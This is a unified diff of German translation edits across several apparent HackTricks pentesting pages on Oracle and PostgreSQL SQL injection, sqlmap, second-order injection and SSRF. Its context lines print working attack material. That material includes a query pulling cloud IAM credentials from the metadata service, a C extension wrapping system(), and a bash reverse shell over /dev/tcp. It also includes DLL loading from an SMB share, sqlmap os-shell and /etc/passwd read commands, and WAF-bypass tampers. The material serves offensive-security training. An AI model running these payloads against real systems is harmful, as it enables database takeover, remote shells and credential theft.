Das `UTL_SMTP`-Paket ist zum Senden von E-Mails über SMTP konzipiert. Das Beispiel auf der [Oracle-Dokumentationsseite zeigt, wie Sie dieses Paket verwenden können, um eine E-Mail zu senden](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Für uns ist jedoch das Interessante die Möglichkeit, eine Host- und Port-Spezifikation bereitzustellen.
|
||||
|
||||
Ein einfaches Beispiel wird unten mit der Funktion `UTL_SMTP.OPEN_CONNECTION` gezeigt, mit einem Timeout von 2 Sekunden.
|
||||
```
|
||||
@ -128,7 +128,7 @@ Interessanterweise kann dieses Paket aufgrund der Fähigkeit, rohe TCP-Anfragen
|
||||
|
||||
**UTL_HTTP und Webanfragen**
|
||||
|
||||
Vielleicht die häufigste und am weitesten dokumentierte Technik in jedem Out of Band Oracle SQL Injection Tutorial ist das [`UTL_HTTP`-Paket](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Dieses Paket wird in der Dokumentation definiert als - `Das UTL_HTTP-Paket führt Hypertext Transfer Protocol (HTTP)-Aufrufe aus SQL und PL/SQL durch. Sie können es verwenden, um über HTTP auf Daten im Internet zuzugreifen.`
|
||||
Vielleicht die häufigste und am weitesten dokumentierte Technik in jedem Out of Band Oracle SQL Injection-Tutorial ist das [`UTL_HTTP`-Paket](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Dieses Paket wird in der Dokumentation definiert als - `Das UTL_HTTP-Paket führt Hypertext Transfer Protocol (HTTP)-Aufrufe aus SQL und PL/SQL durch. Sie können es verwenden, um über HTTP auf Daten im Internet zuzugreifen.`
|
||||
```
|
||||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||||
```
|
||||
|
||||
@ -28,7 +28,7 @@ Sie können [**dieses Beispiel lesen**](dblink-lo_import-data-exfiltration.md),
|
||||
### PostgreSQL-Zeichenfolgenfunktionen
|
||||
|
||||
Das Manipulieren von Zeichenfolgen könnte Ihnen helfen, **WAFs oder andere Einschränkungen zu umgehen**.\
|
||||
[**Auf dieser Seite**](https://www.postgresqltutorial.com/postgresql-string-functions/)**finden Sie einige nützliche Zeichenfolgenfunktionen.**
|
||||
[**Auf dieser Seite**](https://www.postgresqltutorial.com/postgresql-string-functions/) **finden Sie einige nützliche Zeichenfolgenfunktionen.**
|
||||
|
||||
### Gestapelte Abfragen
|
||||
|
||||
@ -53,7 +53,7 @@ SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
### Strings in Hex
|
||||
|
||||
Wenn Sie **Abfragen** ausführen können, die **innerhalb eines Strings** übergeben werden (zum Beispiel mit der **`query_to_xml`**-Funktion). **Sie können die convert_from verwenden, um den String als Hex zu übergeben und auf diese Weise Filter zu umgehen:**
|
||||
Wenn Sie **Abfragen** ausführen können, indem Sie sie **innerhalb eines Strings** übergeben (zum Beispiel mit der **`query_to_xml`**-Funktion). **Sie können die convert_from verwenden, um den String als Hex zu übergeben und auf diese Weise Filter zu umgehen:**
|
||||
```sql
|
||||
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
||||
|
||||
@ -65,7 +65,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
||||
```
|
||||
### Verbotene Anführungszeichen
|
||||
|
||||
Wenn Sie keine Anführungszeichen für Ihre Payload verwenden können, können Sie dies mit `CHR` für grundlegende Klauseln umgehen (_Zeichenverkettung funktioniert nur für grundlegende Abfragen wie SELECT, INSERT, DELETE usw. Sie funktioniert nicht für alle SQL-Anweisungen_):
|
||||
Wenn Sie keine Anführungszeichen für Ihre Nutzlast verwenden können, können Sie dies mit `CHR` für grundlegende Klauseln umgehen (_Zeichenverkettung funktioniert nur für grundlegende Abfragen wie SELECT, INSERT, DELETE usw. Sie funktioniert nicht für alle SQL-Anweisungen_):
|
||||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
|
||||
@ -6,7 +6,7 @@ PostgreSQL bietet eine Struktur, die als **large objects** bekannt ist, die übe
|
||||
|
||||
Um eine **komplette Datei** in dieser Tabelle zu speichern, muss ein Objekt in der Tabelle `pg_largeobject` erstellt werden (identifiziert durch eine LOID), gefolgt von der Einfügung von Datenchunks, die jeweils 2KB groß sind, in dieses Objekt. Es ist entscheidend, dass diese Chunks genau 2KB groß sind (mit der möglichen Ausnahme des letzten Chunks), um sicherzustellen, dass die Exportfunktion korrekt funktioniert.
|
||||
|
||||
Um Ihre binären Daten in 2KB-Chunks zu **teilen**, können die folgenden Befehle ausgeführt werden:
|
||||
Um Ihre binären Daten in 2KB große Chunks zu **teilen**, können die folgenden Befehle ausgeführt werden:
|
||||
```bash
|
||||
split -b 2048 your_file # Creates 2KB sized files
|
||||
```
|
||||
@ -15,7 +15,7 @@ Um jede Datei in Base64 oder Hex zu kodieren, können die folgenden Befehle verw
|
||||
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
|
||||
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
|
||||
```
|
||||
**Wichtig**: Stellen Sie beim Automatisieren dieses Prozesses sicher, dass Sie 2KB große Blöcke von Klartext-Bytes senden. Hex-kodierte Dateien benötigen aufgrund der Verdopplung der Größe 4KB Daten pro Block, während Base64-kodierte Dateien der Formel `ceil(n / 3) * 4` folgen.
|
||||
**Wichtig**: Stellen Sie beim Automatisieren dieses Prozesses sicher, dass Sie 2KB große Blöcke von Klartext-Bytes senden. Hexadezimal codierte Dateien benötigen aufgrund der Verdopplung der Größe 4KB Daten pro Block, während Base64 codierte Dateien der Formel `ceil(n / 3) * 4` folgen.
|
||||
|
||||
Die Inhalte der großen Objekte können zu Debugging-Zwecken angezeigt werden mit:
|
||||
```sql
|
||||
@ -28,7 +28,7 @@ Um binäre Daten zu speichern, wird zuerst ein LOID erstellt:
|
||||
SELECT lo_creat(-1); -- Creates a new, empty large object
|
||||
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
|
||||
```
|
||||
In Situationen, die präzise Kontrolle erfordern, wie beim Ausnutzen einer Blind SQL Injection, wird `lo_create` bevorzugt, um eine feste LOID anzugeben.
|
||||
In Situationen, die präzise Kontrolle erfordern, wie z.B. beim Ausnutzen einer Blind SQL Injection, wird `lo_create` bevorzugt, um eine feste LOID anzugeben.
|
||||
|
||||
Datenchunks können dann wie folgt eingefügt werden:
|
||||
```sql
|
||||
|
||||
@ -12,7 +12,7 @@ Sobald Sie dblink geladen haben, könnten Sie einige interessante Tricks ausfüh
|
||||
|
||||
### Privilegieneskalation
|
||||
|
||||
Die Datei `pg_hba.conf` könnte schlecht konfiguriert sein **und Verbindungen** von **localhost als beliebiger Benutzer** ohne Kenntnis des Passworts **erlauben**. Diese Datei befindet sich typischerweise in `/etc/postgresql/12/main/pg_hba.conf` und eine schlechte Konfiguration sieht so aus:
|
||||
Die Datei `pg_hba.conf` könnte schlecht konfiguriert sein **und Verbindungen** von **localhost als beliebiger Benutzer** ohne Passwortabfrage zulassen. Diese Datei befindet sich typischerweise in `/etc/postgresql/12/main/pg_hba.conf` und eine schlechte Konfiguration sieht folgendermaßen aus:
|
||||
```
|
||||
local all all trust
|
||||
```
|
||||
@ -25,7 +25,7 @@ Eine weitere mögliche Fehlkonfiguration besteht aus etwas wie diesem:
|
||||
```
|
||||
host all all 127.0.0.1/32 trust
|
||||
```
|
||||
Da es jedem vom localhost ermöglicht, sich als beliebiger Benutzer mit der Datenbank zu verbinden.\
|
||||
Da es jedem vom localhost aus ermöglicht, sich als beliebiger Benutzer mit der Datenbank zu verbinden.\
|
||||
In diesem Fall und wenn die **`dblink`**-Funktion **funktioniert**, könnten Sie die **Berechtigungen erhöhen**, indem Sie sich über eine bereits bestehende Verbindung mit der Datenbank verbinden und auf Daten zugreifen, auf die Sie nicht zugreifen sollten:
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
PL/pgSQL ist eine **vollständig ausgestattete Programmiersprache**, die über die Möglichkeiten von SQL hinausgeht, indem sie **erweiterte prozedurale Kontrolle** bietet. Dazu gehört die Nutzung von Schleifen und verschiedenen Kontrollstrukturen. Funktionen, die in der PL/pgSQL-Sprache erstellt wurden, können durch SQL-Anweisungen und Trigger aufgerufen werden, was den Umfang der Operationen innerhalb der Datenbankumgebung erweitert.
|
||||
|
||||
Du kannst diese Sprache missbrauchen, um PostgreSQL zu bitten, die Benutzeranmeldeinformationen zu bruteforcen, aber sie muss in der Datenbank vorhanden sein. Du kannst ihre Existenz mit folgendem Befehl überprüfen:
|
||||
Du kannst diese Sprache missbrauchen, um PostgreSQL zu bitten, die Benutzeranmeldeinformationen zu bruteforcen, aber sie muss in der Datenbank existieren. Du kannst ihre Existenz überprüfen, indem du:
|
||||
```sql
|
||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||
lanname | lanacl
|
||||
@ -30,7 +30,7 @@ CREATE EXTENSION dblink;
|
||||
```
|
||||
## Passwort-Bruteforce
|
||||
|
||||
Hier ist, wie Sie einen 4-Zeichen-Passwort-Bruteforce durchführen könnten:
|
||||
Hier ist, wie Sie einen Bruteforce-Angriff auf ein 4-Zeichen-Passwort durchführen könnten:
|
||||
```sql
|
||||
//Create the brute-force function
|
||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||
|
||||
@ -68,7 +68,7 @@ $$ LANGUAGE 'plpgsql';
|
||||
```
|
||||
</details>
|
||||
|
||||
Allerdings wurde bei dem Versuch auf höheren Versionen **der folgende Fehler angezeigt**:
|
||||
Wenn jedoch bei höheren Versionen versucht wurde, **wurde der folgende Fehler angezeigt**:
|
||||
```c
|
||||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
@ -81,9 +81,9 @@ Dieser Fehler wird in der [PostgreSQL-Dokumentation](https://www.postgresql.org/
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
> `#endif`
|
||||
|
||||
Seit der PostgreSQL-Version 8.2 wurde der Prozess für einen Angreifer, das System auszunutzen, erschwert. Der Angreifer muss entweder eine Bibliothek verwenden, die bereits auf dem System vorhanden ist, oder eine benutzerdefinierte Bibliothek hochladen. Diese benutzerdefinierte Bibliothek muss gegen die kompatible Hauptversion von PostgreSQL kompiliert werden und muss einen spezifischen "magischen Block" enthalten. Diese Maßnahme erhöht die Schwierigkeit, PostgreSQL-Systeme auszunutzen, erheblich, da sie ein tieferes Verständnis der Systemarchitektur und der Versionskompatibilität erfordert.
|
||||
Seit der Version 8.2 von PostgreSQL ist der Prozess für einen Angreifer, das System auszunutzen, schwieriger geworden. Der Angreifer muss entweder eine Bibliothek verwenden, die bereits auf dem System vorhanden ist, oder eine benutzerdefinierte Bibliothek hochladen. Diese benutzerdefinierte Bibliothek muss gegen die kompatible Hauptversion von PostgreSQL kompiliert werden und muss einen spezifischen "magischen Block" enthalten. Diese Maßnahme erhöht die Schwierigkeit, PostgreSQL-Systeme auszunutzen, erheblich, da sie ein tieferes Verständnis der Systemarchitektur und der Versionskompatibilität erfordert.
|
||||
|
||||
#### Bibliothek kompilieren
|
||||
#### Kompilieren Sie die Bibliothek
|
||||
|
||||
Holen Sie sich die PostgreSQL-Version mit:
|
||||
```sql
|
||||
@ -113,7 +113,7 @@ char* command = PG_GETARG_CSTRING(0);
|
||||
PG_RETURN_INT32(system(command));
|
||||
}
|
||||
```
|
||||
Laden Sie dann die kompilierte Bibliothek hoch und führen Sie Befehle mit:
|
||||
Laden Sie dann die kompilierte Bibliothek hoch und führen Sie Befehle mit aus:
|
||||
```bash
|
||||
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
|
||||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
@ -166,7 +166,7 @@ Sie können die kompilierte DLL in dieser Zip-Datei finden:
|
||||
|
||||
{% file src="../../../images/pgsql_exec.zip" %}
|
||||
|
||||
Sie können dieser DLL **angeben, welches Binary ausgeführt werden soll** und wie oft es ausgeführt werden soll, in diesem Beispiel wird `calc.exe` 2 Mal ausgeführt:
|
||||
Sie können dieser DLL **angeben, welches Binary ausgeführt werden soll** und die Anzahl der Ausführungen, in diesem Beispiel wird `calc.exe` 2 Mal ausgeführt:
|
||||
```bash
|
||||
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
||||
SELECT remote_exec('calc.exe', 2);
|
||||
@ -250,7 +250,7 @@ int32 arg = PG_GETARG_INT32(0);
|
||||
PG_RETURN_INT32(arg + 1);
|
||||
}
|
||||
```
|
||||
Beachten Sie, dass in diesem Fall der **schadhafte Code sich innerhalb der DllMain-Funktion** befindet. Das bedeutet, dass in diesem Fall nicht notwendig ist, die geladene Funktion in postgresql auszuführen, sondern nur **die DLL zu laden**, um die **Reverse Shell** auszuführen:
|
||||
Beachten Sie, dass in diesem Fall der **schadhafte Code sich innerhalb der DllMain-Funktion befindet**. Das bedeutet, dass in diesem Fall die Ausführung der geladenen Funktion in PostgreSQL nicht erforderlich ist, sondern dass **das Laden der DLL** die **Reverse-Shell** ausführen wird:
|
||||
```c
|
||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||
```
|
||||
|
||||
@ -189,7 +189,7 @@ SELECT findx("/"); #Find an executables in folder (recursively)
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Exec durch Subs finden"}}
|
||||
{{#tab name="Exec finden durch Subs"}}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
||||
@ -38,7 +38,7 @@
|
||||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
# Injectionstelle
|
||||
# Injection Stelle
|
||||
|
||||
## Aus Burp/ZAP-Erfassung
|
||||
|
||||
@ -85,7 +85,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
|
||||
#Dropping a reverse-shell / meterpreter
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||
```
|
||||
## Durchsuchen einer Website mit SQLmap und automatischem Exploit
|
||||
## Durchsuchen Sie eine Website mit SQLmap und automatisches Ausnutzen
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
@ -121,13 +121,13 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| base64encode.py | Kodiert alle Zeichen in einer gegebenen Nutzlast in Base64 |
|
||||
| between.py | Ersetzt den Größer-als-Operator \('>'\) durch 'NOT BETWEEN 0 AND \#' |
|
||||
| bluecoat.py | Ersetzt das Leerzeichen nach der SQL-Anweisung durch ein gültiges zufälliges Leerzeichen. Danach wird das Zeichen = durch den LIKE-Operator ersetzt |
|
||||
| chardoubleencode.py | Doppelt URL-kodiert alle Zeichen in einer gegebenen Nutzlast \(nicht bereits kodierte werden nicht verarbeitet\) |
|
||||
| chardoubleencode.py | Doppelt URL-kodiert alle Zeichen in einer gegebenen Nutzlast \(nicht bereits kodierte Zeichen werden nicht verarbeitet\) |
|
||||
| commalesslimit.py | Ersetzt Instanzen wie 'LIMIT M, N' durch 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Ersetzt Instanzen wie 'MID\(A, B, C\)' durch 'MID\(A FROM B FOR C\)' |
|
||||
| concat2concatws.py | Ersetzt Instanzen wie 'CONCAT\(A, B\)' durch 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
|
||||
| charencode.py | URL-kodiert alle Zeichen in einer gegebenen Nutzlast \(nicht bereits kodierte werden nicht verarbeitet\) |
|
||||
| charunicodeencode.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Nutzlast \(nicht bereits kodierte werden nicht verarbeitet\). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Nutzlast \(nicht bereits kodierte werden nicht verarbeitet\). "\u0022" |
|
||||
| charencode.py | URL-kodiert alle Zeichen in einer gegebenen Nutzlast \(nicht bereits kodierte Zeichen werden nicht verarbeitet\) |
|
||||
| charunicodeencode.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Nutzlast \(nicht bereits kodierte Zeichen werden nicht verarbeitet\). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Nutzlast \(nicht bereits kodierte Zeichen werden nicht verarbeitet\). "\u0022" |
|
||||
| equaltolike.py | Ersetzt alle Vorkommen des Operators gleich \('='\) durch den Operator 'LIKE' |
|
||||
| escapequotes.py | Schrägstrich-Escape für Anführungszeichen \(' und "\) |
|
||||
| greatest.py | Ersetzt den Größer-als-Operator \('>'\) durch das 'GREATEST'-Gegenstück |
|
||||
@ -136,9 +136,9 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| modsecurityversioned.py | Umgibt die gesamte Abfrage mit einem versionierten Kommentar |
|
||||
| modsecurityzeroversioned.py | Umgibt die gesamte Abfrage mit einem null-versionierten Kommentar |
|
||||
| multiplespaces.py | Fügt mehrere Leerzeichen um SQL-Schlüsselwörter hinzu |
|
||||
| nonrecursivereplacement.py | Ersetzt vordefinierte SQL-Schlüsselwörter durch Darstellungen, die für die Ersetzung geeignet sind \(z.B. .replace\("SELECT", ""\)\) Filter |
|
||||
| nonrecursivereplacement.py | Ersetzt vordefinierte SQL-Schlüsselwörter durch für den Ersatz geeignete Darstellungen \(z.B. .replace\("SELECT", ""\)\) Filter |
|
||||
| percentage.py | Fügt ein Prozentzeichen \('%'\) vor jedem Zeichen hinzu |
|
||||
| overlongutf8.py | Konvertiert alle Zeichen in einer gegebenen Nutzlast \(nicht bereits kodierte werden nicht verarbeitet\) |
|
||||
| overlongutf8.py | Konvertiert alle Zeichen in einer gegebenen Nutzlast \(nicht bereits kodierte Zeichen werden nicht verarbeitet\) |
|
||||
| randomcase.py | Ersetzt jedes Schlüsselwortzeichen durch einen zufälligen Groß- oder Kleinbuchstaben |
|
||||
| randomcomments.py | Fügt zufällige Kommentare zu SQL-Schlüsselwörtern hinzu |
|
||||
| securesphere.py | Fügt eine speziell gestaltete Zeichenfolge hinzu |
|
||||
@ -158,7 +158,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| unmagicquotes.py | Ersetzt das Anführungszeichen \('\) durch eine Multi-Byte-Kombination %bf%27 zusammen mit einem generischen Kommentar am Ende \(um es zum Laufen zu bringen\) |
|
||||
| uppercase.py | Ersetzt jedes Schlüsselwortzeichen durch den Großbuchstaben 'INSERT' |
|
||||
| varnish.py | Fügt einen HTTP-Header 'X-originating-IP' hinzu |
|
||||
| versionedkeywords.py | Umgibt jedes nicht-funktionale Schlüsselwort mit einem versionierten MySQL-Kommentar |
|
||||
| versionedkeywords.py | Umgibt jedes Nicht-Funktionsschlüsselwort mit einem versionierten MySQL-Kommentar |
|
||||
| versionedmorekeywords.py | Umgibt jedes Schlüsselwort mit einem versionierten MySQL-Kommentar |
|
||||
| xforwardedfor.py | Fügt einen gefälschten HTTP-Header 'X-Forwarded-For' hinzu |
|
||||
|
||||
|
||||
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Grundlegende Argumente für SQLmap
|
||||
|
||||
### Allgemein
|
||||
@ -42,7 +43,7 @@
|
||||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
Mit [SQLMapping](https://taurusomar.github.io/sqlmapping/) ist es ein praktisches Tool, das Befehle generiert und einen vollständigen Überblick, sowohl grundlegend als auch fortgeschritten, für SQLMap bietet. Es enthält ToolTips, die jeden Aspekt des Tools erklären und jede Option im Detail beschreiben, damit Sie lernen, wie Sie es effizient und effektiv nutzen können.
|
||||
Mit [SQLMapping](https://taurusomar.github.io/sqlmapping/) ist es ein praktisches Tool, das Befehle generiert und einen vollständigen Überblick, sowohl grundlegend als auch fortgeschritten, für SQLMap bietet. Es enthält ToolTips, die jeden Aspekt des Tools erklären und jede Option im Detail beschreiben, damit Sie lernen und verstehen können, wie Sie es effizient und effektiv nutzen.
|
||||
|
||||
## Injektionsstelle
|
||||
|
||||
@ -81,7 +82,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
```
|
||||
### Eval
|
||||
|
||||
**Sqlmap** ermöglicht die Verwendung von `-e` oder `--eval`, um jede Payload vor dem Senden mit einem Python-Oneliner zu verarbeiten. Dies macht es sehr einfach und schnell, die Payload auf benutzerdefinierte Weise vor dem Senden zu verarbeiten. Im folgenden Beispiel **wird die Flask-Cookie-Sitzung** **von Flask mit dem bekannten Geheimnis signiert, bevor sie gesendet wird**:
|
||||
**Sqlmap** ermöglicht die Verwendung von `-e` oder `--eval`, um jede Payload vor dem Senden mit einem Python-Oneliner zu verarbeiten. Dies macht es sehr einfach und schnell, die Payload auf benutzerdefinierte Weise vor dem Senden zu verarbeiten. Im folgenden Beispiel **wird die flask cookie session von flask mit dem bekannten Geheimnis signiert, bevor sie gesendet wird**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
@ -100,7 +101,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||
```bash
|
||||
--file-read=/etc/passwd
|
||||
```
|
||||
### Crawlen Sie eine Website mit SQLmap und automatischem Exploit
|
||||
### Durchsuchen Sie eine Website mit SQLmap und automatisches Ausnutzen
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
@ -142,18 +143,18 @@ Denken Sie daran, dass **Sie Ihre eigenen Tamper in Python erstellen können** u
|
||||
| apostrophemask.py | Ersetzt das Apostrophzeichen durch sein UTF-8-Vollbreiten-Gegenstück |
|
||||
| apostrophenullencode.py | Ersetzt das Apostrophzeichen durch sein illegales doppeltes Unicode-Gegenstück |
|
||||
| appendnullbyte.py | Fügt am Ende der Payload ein kodiertes NULL-Byte-Zeichen hinzu |
|
||||
| base64encode.py | Base64-kodiert alle Zeichen in einer gegebenen Payload |
|
||||
| base64encode.py | Kodiert alle Zeichen in einer gegebenen Payload in Base64 |
|
||||
| between.py | Ersetzt den Größer-als-Operator ('>') durch 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Ersetzt das Leerzeichen nach der SQL-Anweisung durch ein gültiges zufälliges Leerzeichen. Danach wird das Zeichen = durch den LIKE-Operator ersetzt |
|
||||
| chardoubleencode.py | Doppelt URL-kodiert alle Zeichen in einer gegebenen Payload (nicht bereits kodierte Zeichen werden nicht verarbeitet) |
|
||||
| chardoubleencode.py | Doppelt URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten) |
|
||||
| commalesslimit.py | Ersetzt Instanzen wie 'LIMIT M, N' durch 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Ersetzt Instanzen wie 'MID(A, B, C)' durch 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Ersetzt Instanzen wie 'CONCAT(A, B)' durch 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | URL-kodiert alle Zeichen in einer gegebenen Payload (nicht bereits kodierte Zeichen werden nicht verarbeitet) |
|
||||
| charunicodeencode.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (nicht bereits kodierte Zeichen werden nicht verarbeitet). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (nicht bereits kodierte Zeichen werden nicht verarbeitet). "\u0022" |
|
||||
| charencode.py | URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten) |
|
||||
| charunicodeencode.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten). "\u0022" |
|
||||
| equaltolike.py | Ersetzt alle Vorkommen des Operators gleich ('=') durch den Operator 'LIKE' |
|
||||
| escapequotes.py | Schrägstrich-Escape-Zeichen (' und ") |
|
||||
| escapequotes.py | Schrägstrich-Escape für Anführungszeichen (' und ") |
|
||||
| greatest.py | Ersetzt den Größer-als-Operator ('>') durch das 'GREATEST'-Gegenstück |
|
||||
| halfversionedmorekeywords.py | Fügt vor jedem Schlüsselwort einen versionierten MySQL-Kommentar hinzu |
|
||||
| ifnull2ifisnull.py | Ersetzt Instanzen wie 'IFNULL(A, B)' durch 'IF(ISNULL(A), B, A)' |
|
||||
@ -162,7 +163,7 @@ Denken Sie daran, dass **Sie Ihre eigenen Tamper in Python erstellen können** u
|
||||
| multiplespaces.py | Fügt mehrere Leerzeichen um SQL-Schlüsselwörter hinzu |
|
||||
| nonrecursivereplacement.py | Ersetzt vordefinierte SQL-Schlüsselwörter durch Darstellungen, die für den Ersatz geeignet sind (z.B. .replace("SELECT", "")) filter |
|
||||
| percentage.py | Fügt ein Prozentzeichen ('%') vor jedes Zeichen hinzu |
|
||||
| overlongutf8.py | Konvertiert alle Zeichen in einer gegebenen Payload (nicht bereits kodierte Zeichen werden nicht verarbeitet) |
|
||||
| overlongutf8.py | Konvertiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten) |
|
||||
| randomcase.py | Ersetzt jedes Schlüsselwortzeichen durch einen zufälligen Groß- oder Kleinbuchstaben |
|
||||
| randomcomments.py | Fügt zufällige Kommentare zu SQL-Schlüsselwörtern hinzu |
|
||||
| securesphere.py | Fügt eine speziell gestaltete Zeichenfolge hinzu |
|
||||
|
||||
@ -3,8 +3,8 @@
|
||||
**SQLMap kann Second Order SQLis ausnutzen.**\
|
||||
Sie müssen bereitstellen:
|
||||
|
||||
- Die **Anfrage**, in der die **sqlinjection Payload** gespeichert wird
|
||||
- Die **Anfrage**, in der die **Payload** **ausgeführt** wird
|
||||
- Die **Anfrage**, in der die **sqlinjection payload** gespeichert wird
|
||||
- Die **Anfrage**, in der die **payload** **ausgeführt** wird
|
||||
|
||||
Die Anfrage, in der die SQL-Injection-Payload gespeichert ist, wird **wie bei jeder anderen Injection in sqlmap angegeben**. Die Anfrage, **in der sqlmap die Ausgabe/Ausführung** der Injection lesen kann, kann mit `--second-url` oder mit `--second-req` angegeben werden, wenn Sie eine vollständige Anfrage aus einer Datei angeben müssen.
|
||||
|
||||
@ -16,7 +16,7 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
|
||||
#Get the SQL payload execution sending a custom request from a file
|
||||
sqlmap -r login.txt -p username --second-req details.txt
|
||||
```
|
||||
In mehreren Fällen **wird dies nicht ausreichen**, da Sie **weitere Aktionen ausführen** müssen, abgesehen davon, dass Sie die Nutzlast senden und auf eine andere Seite zugreifen.
|
||||
In mehreren Fällen **wird dies nicht ausreichen**, da Sie **weitere Aktionen durchführen** müssen, abgesehen davon, dass Sie die Nutzlast senden und auf eine andere Seite zugreifen.
|
||||
|
||||
Wenn dies erforderlich ist, können Sie einen **sqlmap tamper** verwenden. Zum Beispiel wird das folgende Skript einen neuen Benutzer **unter Verwendung der sqlmap-Nutzlast als E-Mail** registrieren und sich abmelden.
|
||||
```python
|
||||
|
||||
@ -38,7 +38,7 @@ Lesen Sie hier mehr: [https://portswigger.net/web-security/ssrf](https://portswi
|
||||
- **file://**
|
||||
- Das URL-Schema `file://` wird referenziert und zeigt direkt auf `/etc/passwd`: `file:///etc/passwd`
|
||||
- **dict://**
|
||||
- Das DICT-URL-Schema wird beschrieben, das zum Zugriff auf Definitionen oder Wortlisten über das DICT-Protokoll verwendet wird. Ein gegebenes Beispiel veranschaulicht eine konstruierte URL, die auf ein bestimmtes Wort, eine Datenbank und eine Eintragsnummer abzielt, sowie einen Fall, in dem ein PHP-Skript möglicherweise missbraucht wird, um sich mit einem DICT-Server unter Verwendung von vom Angreifer bereitgestellten Anmeldeinformationen zu verbinden: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
- Das DICT-URL-Schema wird beschrieben, das zum Zugriff auf Definitionen oder Wortlisten über das DICT-Protokoll verwendet wird. Ein gegebenes Beispiel veranschaulicht eine konstruierte URL, die auf ein bestimmtes Wort, eine Datenbank und eine Eintragsnummer abzielt, sowie einen Fall, in dem ein PHP-Skript möglicherweise missbraucht wird, um sich mit einem DICT-Server unter Verwendung von Angreifer bereitgestellten Anmeldeinformationen zu verbinden: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
- **SFTP://**
|
||||
